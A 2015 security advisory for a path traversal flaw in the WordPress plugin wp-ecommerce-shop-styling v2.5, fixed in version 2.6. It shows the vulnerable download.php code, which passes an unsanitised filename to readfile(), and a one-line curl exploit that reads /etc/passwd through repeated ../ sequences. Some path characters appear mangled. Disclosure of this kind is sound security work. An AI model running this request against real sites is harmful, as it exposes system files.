Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5

Title: Remote file download vulnerability in wordpress plugin wp-ecommerce-shop-styling v2.5
Author: Larry W. Cashdollar, @_larry0
Date: 2015-07-05
Download Site: https://wordpress.org/plugins/wp-ecommerce-shop-styling
Vendor: https://profiles.wordpress.org/haet/
Vendor Notified: 2015-07-05, fixed in version 2.6.
Vendor Contact: http://wpshopstyling.com
Advisory: http://www.vapid.dhs.org/advisory.php?v=136
Description: Customize your WP ecommerce store with HTML mail templates, message content, transaction results and PDF invoices with WYSIWYG editor and placeholders.
Vulnerability:
The code in ./wp-ecommerce-shop-styling/includes/download.php doesn't sanitize user input to prevent sensitive system files from being downloaded.

1 <?php
2 require_once("…/…/…/…/wp-admin/admin.php");
3
4 header('Content-disposition: attachment; filename='.$_GET['filename']);
5 header('Content-type: application/pdf');
6 readfile(HAET_INVOICE_PATH.$_GET['filename']);
7 ?>

You'll have to rename the download file via mv – -…-…-…-…-…-…-…-…-etc-passwd passwd as the filename is set to the download filename with path.

CVEID: Requested TBD
OSVDB: TBD

Exploit Code:
• $ curl http://www.example.com/wp-content/plugins/wp-ecommerce-shop-styling/includes/download.php?filename=../../../../../../../../../etc/passwd